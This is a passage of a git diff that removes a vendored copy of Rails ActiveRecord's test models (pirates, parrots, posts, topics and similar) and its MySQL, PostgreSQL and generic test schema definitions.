-  attr_accessor :cancel_save_from_callback
-  before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
-  def cancel_save_callback_method
-    false
-  end
-end
-
-class LiveParrot < Parrot
-end
-
-class DeadParrot < Parrot
-  belongs_to :killer, :class_name => 'Pirate'
-end
diff --git a/vendor/rails/activerecord/test/models/person.rb b/vendor/rails/activerecord/test/models/person.rb
deleted file mode 100644
index ec2f684a..00000000
--- a/vendor/rails/activerecord/test/models/person.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class Person < ActiveRecord::Base
-  has_many :readers
-  has_many :posts, :through => :readers
-  has_many :posts_with_no_comments, :through => :readers, :source => :post, :include => :comments, :conditions => 'comments.id is null'
-
-  has_many :references
-  has_many :jobs, :through => :references
-  has_one :favourite_reference, :class_name => 'Reference', :conditions => ['favourite=?', true]
-  has_many :posts_with_comments_sorted_by_comment_id, :through => :readers, :source => :post, :include => :comments, :order => 'comments.id'
-
-  belongs_to :primary_contact, :class_name => 'Person'
-  has_many :agents, :class_name => 'Person', :foreign_key => 'primary_contact_id'
-
-  named_scope :males, :conditions => { :gender => 'M' }
-  named_scope :females, :conditions => { :gender => 'F' }
-end
diff --git a/vendor/rails/activerecord/test/models/pet.rb b/vendor/rails/activerecord/test/models/pet.rb
deleted file mode 100644
index a8bf94dd..00000000
--- a/vendor/rails/activerecord/test/models/pet.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Pet < ActiveRecord::Base
-  set_primary_key :pet_id
-  belongs_to :owner, :touch => true
-  has_many :toys
-end
diff --git a/vendor/rails/activerecord/test/models/pirate.rb b/vendor/rails/activerecord/test/models/pirate.rb
deleted file mode 100644
index d89c8cf3..00000000
--- a/vendor/rails/activerecord/test/models/pirate.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-class Pirate < ActiveRecord::Base
-  belongs_to :parrot, :validate => true
-  belongs_to :non_validated_parrot, :class_name => 'Parrot'
-  has_and_belongs_to_many :parrots, :validate => true, :order => 'parrots.id ASC'
-  has_and_belongs_to_many :non_validated_parrots, :class_name => 'Parrot'
-  has_and_belongs_to_many :parrots_with_method_callbacks, :class_name => "Parrot",
-    :before_add    => :log_before_add,
-    :after_add     => :log_after_add,
-    :before_remove => :log_before_remove,
-    :after_remove  => :log_after_remove
-  has_and_belongs_to_many :parrots_with_proc_callbacks, :class_name => "Parrot",
-    :before_add    => proc {|p,pa| p.ship_log << "before_adding_proc_parrot_#{pa.id || '<new>'}"},
-    :after_add     => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
-    :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
-    :after_remove  => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
-
-  has_many :treasures, :as => :looter
-  has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
-
-  # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
-  has_one :ship
-  has_one :update_only_ship, :class_name => 'Ship'
-  has_one :non_validated_ship, :class_name => 'Ship'
-  has_many :birds, :order => 'birds.id ASC'
-  has_many :birds_with_method_callbacks, :class_name => "Bird",
-    :before_add    => :log_before_add,
-    :after_add     => :log_after_add,
-    :before_remove => :log_before_remove,
-    :after_remove  => :log_after_remove
-  has_many :birds_with_proc_callbacks, :class_name => "Bird",
-    :before_add     => proc {|p,b| p.ship_log << "before_adding_proc_bird_#{b.id || '<new>'}"},
-    :after_add      => proc {|p,b| p.ship_log << "after_adding_proc_bird_#{b.id || '<new>'}"},
-    :before_remove  => proc {|p,b| p.ship_log << "before_removing_proc_bird_#{b.id}"},
-    :after_remove   => proc {|p,b| p.ship_log << "after_removing_proc_bird_#{b.id}"}
-  has_many :birds_with_reject_all_blank, :class_name => "Bird"
-
-  accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  accepts_nested_attributes_for :update_only_ship, :update_only => true
-  accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
-    :birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
-  accepts_nested_attributes_for :birds_with_reject_all_blank, :reject_if => :all_blank
-
-  validates_presence_of :catchphrase
-
-  def ship_log
-    @ship_log ||= []
-  end
-
-  def reject_empty_ships_on_create(attributes)
-    attributes.delete('_reject_me_if_new').present? && new_record?
-  end
-
-  attr_accessor :cancel_save_from_callback
-  before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
-  def cancel_save_callback_method
-    false
-  end
-
-  private
-    def log_before_add(record)
-      log(record, "before_adding_method")
-    end
-
-    def log_after_add(record)
-      log(record, "after_adding_method")
-    end
-
-    def log_before_remove(record)
-      log(record, "before_removing_method")
-    end
-
-    def log_after_remove(record)
-      log(record, "after_removing_method")
-    end
-
-    def log(record, callback)
-      ship_log << "#{callback}_#{record.class.name.downcase}_#{record.id || '<new>'}"
-    end
-end
diff --git a/vendor/rails/activerecord/test/models/polymorphic_design.rb b/vendor/rails/activerecord/test/models/polymorphic_design.rb
deleted file mode 100644
index 6748f8fe..00000000
--- a/vendor/rails/activerecord/test/models/polymorphic_design.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class PolymorphicDesign < ActiveRecord::Base
-  belongs_to :designable, :polymorphic => true
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/polymorphic_price.rb b/vendor/rails/activerecord/test/models/polymorphic_price.rb
deleted file mode 100644
index bea85661..00000000
--- a/vendor/rails/activerecord/test/models/polymorphic_price.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class PolymorphicPrice < ActiveRecord::Base
-  belongs_to :sellable, :polymorphic => true
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/post.rb b/vendor/rails/activerecord/test/models/post.rb
deleted file mode 100644
index cf69d049..00000000
--- a/vendor/rails/activerecord/test/models/post.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-class Post < ActiveRecord::Base
-  named_scope :with_type_self, lambda{{:conditions => ["type=?", self.name]}}
-  named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'"
-  named_scope :ranked_by_comments, :order => "comments_count DESC"
-  named_scope :limit, lambda {|limit| {:limit => limit} }
-  named_scope :with_authors_at_address, lambda { |address| {
-      :conditions => [ 'authors.author_address_id = ?', address.id ],
-      :joins => 'JOIN authors ON authors.id = posts.author_id'
-    }
-  }
-
-  belongs_to :author do
-    def greeting
-      "hello"
-    end
-  end
-
-  belongs_to :author_with_posts, :class_name => "Author", :foreign_key => :author_id, :include => :posts
-  belongs_to :author_with_address, :class_name => "Author", :foreign_key => :author_id, :include => :author_address
-
-  has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
-
-  named_scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
-  named_scope :with_very_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'VerySpecialComment'} }
-  named_scope :with_post, lambda {|post_id|
-    { :joins => :comments, :conditions => {:comments => {:post_id => post_id} } }
-  }
-
-  has_many   :comments, :order => "body" do
-    def find_most_recent
-      find(:first, :order => "id DESC")
-    end
-  end
-
-  has_many :author_favorites, :through => :author
-
-  has_many :comments_with_interpolated_conditions, :class_name => 'Comment',
-      :conditions => ['#{"#{aliased_table_name}." rescue ""}body = ?', 'Thank you for the welcome']
-
-  has_one  :very_special_comment
-  has_one  :very_special_comment_with_post, :class_name => "VerySpecialComment", :include => :post
-  has_many :special_comments
-  has_many :nonexistant_comments, :class_name => 'Comment', :conditions => 'comments.id < 0'
-
-  has_and_belongs_to_many :categories
-  has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
-
-  has_many :taggings, :as => :taggable
-  has_many :tags, :through => :taggings do
-    def add_joins_and_select
-      find :all, :select => 'tags.*, authors.id as author_id', :include => false,
-        :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
-    end
-  end
-
-  has_many :misc_tags, :through => :taggings, :source => :tag, :conditions => "tags.name = 'Misc'"
-  has_many :funky_tags, :through => :taggings, :source => :tag
-  has_many :super_tags, :through => :taggings
-  has_one :tagging, :as => :taggable
-
-  has_many :invalid_taggings, :as => :taggable, :class_name => "Tagging", :conditions => 'taggings.id < 0'
-  has_many :invalid_tags, :through => :invalid_taggings, :source => :tag
-
-  has_many :categorizations, :foreign_key => :category_id
-  has_many :authors, :through => :categorizations
-
-  has_many :readers
-  has_many :people, :through => :readers
-  has_many :people_with_callbacks, :source=>:person, :through => :readers,
-              :before_add    => lambda {|owner, reader| log(:added,   :before, reader.first_name) },
-              :after_add     => lambda {|owner, reader| log(:added,   :after,  reader.first_name) },
-              :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
-              :after_remove  => lambda {|owner, reader| log(:removed, :after,  reader.first_name) }
-
-  def self.top(limit)
-    ranked_by_comments.limit(limit)
-  end
-
-  def self.reset_log
-    @log = []
-  end
-  
-  def self.log(message=nil, side=nil, new_record=nil)
-    return @log if message.nil?
-    @log << [message, side, new_record]
-  end
-
-  def self.what_are_you
-    'a post...'
-  end
-end
-
-class SpecialPost < Post; end
-
-class StiPost < Post
-  self.abstract_class = true
-  has_one :special_comment, :class_name => "SpecialComment"
-end
-
-class SubStiPost < StiPost
-  self.table_name = Post.table_name
-end
diff --git a/vendor/rails/activerecord/test/models/price_estimate.rb b/vendor/rails/activerecord/test/models/price_estimate.rb
deleted file mode 100644
index ef3bba36..00000000
--- a/vendor/rails/activerecord/test/models/price_estimate.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class PriceEstimate < ActiveRecord::Base
-  belongs_to :estimate_of, :polymorphic => true
-end
diff --git a/vendor/rails/activerecord/test/models/project.rb b/vendor/rails/activerecord/test/models/project.rb
deleted file mode 100644
index f25b2ddf..00000000
--- a/vendor/rails/activerecord/test/models/project.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class Project < ActiveRecord::Base
-  has_and_belongs_to_many :developers, :uniq => true, :order => 'developers.name desc, developers.id desc'
-  has_and_belongs_to_many :readonly_developers, :class_name => "Developer", :readonly => true
-  has_and_belongs_to_many :selected_developers, :class_name => "Developer", :select => "developers.*", :uniq => true
-  has_and_belongs_to_many :non_unique_developers, :order => 'developers.name desc, developers.id desc', :class_name => 'Developer'
-  has_and_belongs_to_many :limited_developers, :class_name => "Developer", :limit => 1
-  has_and_belongs_to_many :developers_named_david, :class_name => "Developer", :conditions => "name = 'David'", :uniq => true
-  has_and_belongs_to_many :developers_named_david_with_hash_conditions, :class_name => "Developer", :conditions => { :name => 'David' }, :uniq => true
-  has_and_belongs_to_many :salaried_developers, :class_name => "Developer", :conditions => "salary > 0"
-  has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => 'SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id'
-  has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => "DELETE FROM developers_projects WHERE project_id = \#{id} AND developer_id = \#{record.id}"
-  has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
-                            :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
-                            :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
-                            :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"}
-  has_and_belongs_to_many :well_payed_salary_groups, :class_name => "Developer", :group => "developers.salary", :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary"
-
-  attr_accessor :developers_log
-
-  def after_initialize
-    @developers_log = []
-  end
-
-end
-
-class SpecialProject < Project
-  def hello_world
-    "hello there!"
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/reader.rb b/vendor/rails/activerecord/test/models/reader.rb
deleted file mode 100644
index 27527bf5..00000000
--- a/vendor/rails/activerecord/test/models/reader.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Reader < ActiveRecord::Base
-  belongs_to :post
-  belongs_to :person
-end
diff --git a/vendor/rails/activerecord/test/models/reference.rb b/vendor/rails/activerecord/test/models/reference.rb
deleted file mode 100644
index 479e8b72..00000000
--- a/vendor/rails/activerecord/test/models/reference.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Reference < ActiveRecord::Base
-  belongs_to :person
-  belongs_to :job
-end
diff --git a/vendor/rails/activerecord/test/models/reply.rb b/vendor/rails/activerecord/test/models/reply.rb
deleted file mode 100644
index 4063785f..00000000
--- a/vendor/rails/activerecord/test/models/reply.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'models/topic'
-
-class Reply < Topic
-  named_scope :base
-
-  belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
-  belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
-  has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
-
-  validate :errors_on_empty_content
-  validate_on_create :title_is_wrong_create
-
-  attr_accessible :title, :author_name, :author_email_address, :written_on, :content, :last_read, :parent_title
-
-  def validate
-    errors.add("title", "Empty")   unless attribute_present? "title"
-  end
-
-  def errors_on_empty_content
-    errors.add("content", "Empty") unless attribute_present? "content"
-  end
-
-  def validate_on_create
-    if attribute_present?("title") && attribute_present?("content") && content == "Mismatch"
-      errors.add("title", "is Content Mismatch")
-    end
-  end
-
-  def title_is_wrong_create
-    errors.add("title", "is Wrong Create") if attribute_present?("title") && title == "Wrong Create"
-  end
-
-  def validate_on_update
-    errors.add("title", "is Wrong Update") if attribute_present?("title") && title == "Wrong Update"
-  end
-end
-
-class SillyReply < Reply
-  belongs_to :reply, :foreign_key => "parent_id", :counter_cache => :replies_count
-end
-
-module Web
-  class Reply < Web::Topic
-    belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true, :class_name => 'Web::Topic'
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/ship.rb b/vendor/rails/activerecord/test/models/ship.rb
deleted file mode 100644
index 3da03194..00000000
--- a/vendor/rails/activerecord/test/models/ship.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Ship < ActiveRecord::Base
-  self.record_timestamps = false
-
-  belongs_to :pirate
-  belongs_to :update_only_pirate, :class_name => 'Pirate'
-  has_many :parts, :class_name => 'ShipPart'
-
-  accepts_nested_attributes_for :parts, :allow_destroy => true
-  accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  accepts_nested_attributes_for :update_only_pirate, :update_only => true
-
-  validates_presence_of :name
-
-  attr_accessor :cancel_save_from_callback
-  before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
-  def cancel_save_callback_method
-    false
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/ship_part.rb b/vendor/rails/activerecord/test/models/ship_part.rb
deleted file mode 100644
index 8e61d700..00000000
--- a/vendor/rails/activerecord/test/models/ship_part.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class ShipPart < ActiveRecord::Base
-  belongs_to :ship
-  has_many :trinkets, :class_name => "Treasure", :as => :looter
-  accepts_nested_attributes_for :trinkets, :allow_destroy => true
-  
-  validates_presence_of :name
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/sponsor.rb b/vendor/rails/activerecord/test/models/sponsor.rb
deleted file mode 100644
index 50c2c2d7..00000000
--- a/vendor/rails/activerecord/test/models/sponsor.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Sponsor < ActiveRecord::Base
-  belongs_to :sponsor_club, :class_name => "Club", :foreign_key => "club_id"
-  belongs_to :sponsorable, :polymorphic => true
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/subject.rb b/vendor/rails/activerecord/test/models/subject.rb
deleted file mode 100644
index 3502943f..00000000
--- a/vendor/rails/activerecord/test/models/subject.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# used for OracleSynonymTest, see test/synonym_test_oci.rb
-#
-class Subject < ActiveRecord::Base
-end
diff --git a/vendor/rails/activerecord/test/models/subscriber.rb b/vendor/rails/activerecord/test/models/subscriber.rb
deleted file mode 100644
index 5b78014e..00000000
--- a/vendor/rails/activerecord/test/models/subscriber.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class Subscriber < ActiveRecord::Base
-  set_primary_key 'nick'
-  has_many :subscriptions
-  has_many :books, :through => :subscriptions
-end
-
-class SpecialSubscriber < Subscriber
-end
diff --git a/vendor/rails/activerecord/test/models/subscription.rb b/vendor/rails/activerecord/test/models/subscription.rb
deleted file mode 100644
index 4bdb36ea..00000000
--- a/vendor/rails/activerecord/test/models/subscription.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Subscription < ActiveRecord::Base
-  belongs_to :subscriber
-  belongs_to :book
-end
diff --git a/vendor/rails/activerecord/test/models/tag.rb b/vendor/rails/activerecord/test/models/tag.rb
deleted file mode 100644
index a581b381..00000000
--- a/vendor/rails/activerecord/test/models/tag.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Tag < ActiveRecord::Base
-  has_many :taggings
-  has_many :taggables, :through => :taggings
-  has_one  :tagging
-
-  has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/tagging.rb b/vendor/rails/activerecord/test/models/tagging.rb
deleted file mode 100644
index a1fa1a97..00000000
--- a/vendor/rails/activerecord/test/models/tagging.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# test that attr_readonly isn't called on the :taggable polymorphic association
-module Taggable
-end
-
-class Tagging < ActiveRecord::Base
-  belongs_to :tag, :include => :tagging
-  belongs_to :super_tag,   :class_name => 'Tag', :foreign_key => 'super_tag_id'
-  belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
-  belongs_to :taggable, :polymorphic => true, :counter_cache => true
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/task.rb b/vendor/rails/activerecord/test/models/task.rb
deleted file mode 100644
index ee0282c7..00000000
--- a/vendor/rails/activerecord/test/models/task.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Task < ActiveRecord::Base
-
-end
diff --git a/vendor/rails/activerecord/test/models/tee.rb b/vendor/rails/activerecord/test/models/tee.rb
deleted file mode 100644
index 63311a74..00000000
--- a/vendor/rails/activerecord/test/models/tee.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Tee < ActiveRecord::Base
-  has_one :polymorphic_design, :as => :designable
-  has_one :polymorphic_price, :as => :sellable
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/tie.rb b/vendor/rails/activerecord/test/models/tie.rb
deleted file mode 100644
index cdf17407..00000000
--- a/vendor/rails/activerecord/test/models/tie.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Tie < ActiveRecord::Base
-  has_one :polymorphic_design, :as => :designable
-  has_one :polymorphic_price, :as => :sellable
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/topic.rb b/vendor/rails/activerecord/test/models/topic.rb
deleted file mode 100644
index 9594dc30..00000000
--- a/vendor/rails/activerecord/test/models/topic.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-class Topic < ActiveRecord::Base
-  named_scope :base
-  named_scope :written_before, lambda { |time|
-    if time
-      { :conditions => ['written_on < ?', time] }
-    end
-  }
-  named_scope :approved, :conditions => {:approved => true}
-  named_scope :rejected, :conditions => {:approved => false}
-
-  named_scope :by_lifo, :conditions => {:author_name => 'lifo'}
-  
-  named_scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
-  named_scope 'approved_as_string', :conditions => {:approved => true}
-  named_scope :replied, :conditions => ['replies_count > 0']
-  named_scope :anonymous_extension do
-    def one
-      1
-    end
-  end
-  module NamedExtension
-    def two
-      2
-    end
-  end
-  module MultipleExtensionOne
-    def extension_one
-      1
-    end
-  end
-  module MultipleExtensionTwo
-    def extension_two
-      2
-    end
-  end
-  named_scope :named_extension, :extend => NamedExtension
-  named_scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
-
-  has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
-  has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
-  serialize :content
-
-  before_create  :default_written_on
-  before_destroy :destroy_children
-
-  def parent
-    Topic.find(parent_id)
-  end
-
-  # trivial method for testing Array#to_xml with :methods
-  def topic_id
-    id
-  end
-
-  protected
-    def approved=(val)
-      @custom_approved = val
-      write_attribute(:approved, val)
-    end
-
-    def default_written_on
-      self.written_on = Time.now unless attribute_present?("written_on")
-    end
-
-    def destroy_children
-      self.class.delete_all "parent_id = #{id}"
-    end
-
-    def after_initialize
-      if self.new_record?
-        self.author_email_address = 'test@test.com'
-      end
-    end
-end
-
-module Web
-  class Topic < ActiveRecord::Base
-    has_many :replies, :dependent => :destroy, :foreign_key => "parent_id", :class_name => 'Web::Reply'
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/toy.rb b/vendor/rails/activerecord/test/models/toy.rb
deleted file mode 100644
index 0e68ba57..00000000
--- a/vendor/rails/activerecord/test/models/toy.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-class Toy < ActiveRecord::Base
-  set_primary_key :toy_id
-  belongs_to :pet
-
-  named_scope :with_name, lambda { |name| {:conditions => {:name => name}} }
-end
diff --git a/vendor/rails/activerecord/test/models/treasure.rb b/vendor/rails/activerecord/test/models/treasure.rb
deleted file mode 100644
index 2a98e74f..00000000
--- a/vendor/rails/activerecord/test/models/treasure.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class Treasure < ActiveRecord::Base
-  has_and_belongs_to_many :parrots
-  belongs_to :looter, :polymorphic => true
-
-  has_many :price_estimates, :as => :estimate_of
-
-  accepts_nested_attributes_for :looter
-end
diff --git a/vendor/rails/activerecord/test/models/vertex.rb b/vendor/rails/activerecord/test/models/vertex.rb
deleted file mode 100644
index 48bb851e..00000000
--- a/vendor/rails/activerecord/test/models/vertex.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# This class models a vertex in a directed graph.
-class Vertex < ActiveRecord::Base
-  has_many :sink_edges, :class_name => 'Edge', :foreign_key => 'source_id'
-  has_many :sinks, :through => :sink_edges
-
-  has_and_belongs_to_many :sources,
-    :class_name => 'Vertex', :join_table => 'edges',
-    :foreign_key => 'sink_id', :association_foreign_key => 'source_id'
-end
diff --git a/vendor/rails/activerecord/test/models/warehouse_thing.rb b/vendor/rails/activerecord/test/models/warehouse_thing.rb
deleted file mode 100644
index 6ace1183..00000000
--- a/vendor/rails/activerecord/test/models/warehouse_thing.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class WarehouseThing < ActiveRecord::Base
-  set_table_name "warehouse-things"
-
-  validates_uniqueness_of :value
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/zine.rb b/vendor/rails/activerecord/test/models/zine.rb
deleted file mode 100644
index c2d0fdaf..00000000
--- a/vendor/rails/activerecord/test/models/zine.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Zine < ActiveRecord::Base
-  has_many :interests, :inverse_of => :zine
-end
diff --git a/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb b/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb
deleted file mode 100644
index ee749381..00000000
--- a/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-ActiveRecord::Schema.define do
-  create_table :binary_fields, :force => true, :options => 'CHARACTER SET latin1' do |t|
-    t.binary :tiny_blob,   :limit => 255
-    t.binary :normal_blob, :limit => 65535
-    t.binary :medium_blob, :limit => 16777215
-    t.binary :long_blob,   :limit => 2147483647
-    t.text   :tiny_text,   :limit => 255
-    t.text   :normal_text, :limit => 65535
-    t.text   :medium_text, :limit => 16777215
-    t.text   :long_text,   :limit => 2147483647
-  end
-
-  ActiveRecord::Base.connection.execute <<-SQL
-DROP PROCEDURE IF EXISTS ten;
-SQL
-
-  ActiveRecord::Base.connection.execute <<-SQL
-CREATE PROCEDURE ten() SQL SECURITY INVOKER
-BEGIN
-	select 10;
-END
-SQL
-
-  ActiveRecord::Base.connection.execute <<-SQL
-CREATE PROCEDURE topics() SQL SECURITY INVOKER
-BEGIN
-	select * from topics limit 1;
-END
-SQL
-
-end
diff --git a/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb b/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb
deleted file mode 100644
index 3d8911bf..00000000
--- a/vendor/rails/activerecord/test/schema/postgresql_specific_schema.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-ActiveRecord::Schema.define do
-
-  %w(postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings
-      postgresql_oids postgresql_xml_data_type defaults geometrics).each do |table_name|
-    execute "DROP TABLE  IF EXISTS #{quote_table_name table_name}"
-  end
-
-  execute 'DROP SEQUENCE IF EXISTS companies_nonstd_seq CASCADE'
-  execute 'CREATE SEQUENCE companies_nonstd_seq START 101 OWNED BY companies.id'
-  execute "ALTER TABLE companies ALTER COLUMN id SET DEFAULT nextval('companies_nonstd_seq')"
-  execute 'DROP SEQUENCE IF EXISTS companies_id_seq'
-
-  %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
-    execute "SELECT setval('#{seq_name}', 100)"
-  end
-
-  execute <<_SQL
-    CREATE TABLE defaults (
-    id serial primary key,
-    modified_date date default CURRENT_DATE,
-    modified_date_function date default now(),
-    fixed_date date default '2004-01-01',
-    modified_time timestamp default CURRENT_TIMESTAMP,
-    modified_time_function timestamp default now(),
-    fixed_time timestamp default '2004-01-01 00:00:00.000000-00',
-    char1 char(1) default 'Y',
-    char2 character varying(50) default 'a varchar field',
-    char3 text default 'a text field',
-    positive_integer integer default 1,
-    negative_integer integer default -1,
-    decimal_number decimal(3,2) default 2.78,
-    multiline_default text DEFAULT '--- []
-
-'::text
-);
-_SQL
-
-    execute <<_SQL
-  CREATE TABLE geometrics (
-    id serial primary key,
-    a_point point,
-    -- a_line line, (the line type is currently not implemented in postgresql)
-    a_line_segment lseg,
-    a_box box,
-    a_path path,
-    a_polygon polygon,
-    a_circle circle
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_arrays (
-    id SERIAL PRIMARY KEY,
-    commission_by_quarter INTEGER[],
-    nicknames TEXT[]
-  );
-_SQL
-  execute <<_SQL
-  CREATE TABLE postgresql_moneys (
-    id SERIAL PRIMARY KEY,
-    wealth MONEY
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_numbers (
-    id SERIAL PRIMARY KEY,
-    single REAL,
-    double DOUBLE PRECISION
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_times (
-    id SERIAL PRIMARY KEY,
-    time_interval INTERVAL
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_network_addresses (
-    id SERIAL PRIMARY KEY,
-    cidr_address CIDR,
-    inet_address INET,
-    mac_address MACADDR
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_bit_strings (
-    id SERIAL PRIMARY KEY,
-    bit_string BIT(8),
-    bit_string_varying BIT VARYING(8)
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_oids (
-    id SERIAL PRIMARY KEY,
-    obj_id OID
-  );
-_SQL
-
-  begin
-    execute <<_SQL
-    CREATE TABLE postgresql_xml_data_type (
-    id SERIAL PRIMARY KEY,
-    data xml
-    );
-_SQL
-rescue #This version of PostgreSQL either has no XML support or is was not compiled with XML support: skipping table
-  end
-end
-
diff --git a/vendor/rails/activerecord/test/schema/schema.rb b/vendor/rails/activerecord/test/schema/schema.rb
deleted file mode 100644
index 2e5299ca..00000000
--- a/vendor/rails/activerecord/test/schema/schema.rb
+++ /dev/null
@@ -1,550 +0,0 @@
-
-ActiveRecord::Schema.define do
-  def except(adapter_names_to_exclude)
-    unless [adapter_names_to_exclude].flatten.include?(adapter_name)
-      yield
-    end
-  end
-
-  #put adapter specific setup here
-  case adapter_name
-    # For Firebird, set the sequence values 10000 when create_table is called;
-    # this prevents primary key collisions between "normally" created records
-    # and fixture-based (YAML) records.
-  when "Firebird"
-    def create_table(*args, &block)
-      ActiveRecord::Base.connection.create_table(*args, &block)
-      ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
-    end
-  end
-
-
-  # Please keep these create table statements in alphabetical order
-  # unless the ordering matters.  In which case, define them below
-  create_table :accounts, :force => true do |t|
-    t.integer :firm_id
-    t.string  :firm_name
-    t.integer :credit_limit
-  end
-
-  create_table :audit_logs, :force => true do |t|
-    t.column :message, :string, :null=>false
-    t.column :developer_id, :integer, :null=>false
-  end
-
-  create_table :authors, :force => true do |t|
-    t.string :name, :null => false
-    t.integer :author_address_id
-    t.integer :author_address_extra_id
-  end
-
-  create_table :author_addresses, :force => true do |t|
-  end
-
-  create_table :author_favorites, :force => true do |t|
-    t.column :author_id, :integer
-    t.column :favorite_author_id, :integer
-  end
-
-
-  create_table :auto_id_tests, :force => true, :id => false do |t|
-    t.primary_key :auto_id
-    t.integer     :value
-  end
-
-  create_table :binaries, :force => true do |t|
-    t.binary :data
-  end
-
-  create_table :birds, :force => true do |t|
-    t.string :name
-    t.string :color
-    t.integer :pirate_id
-  end
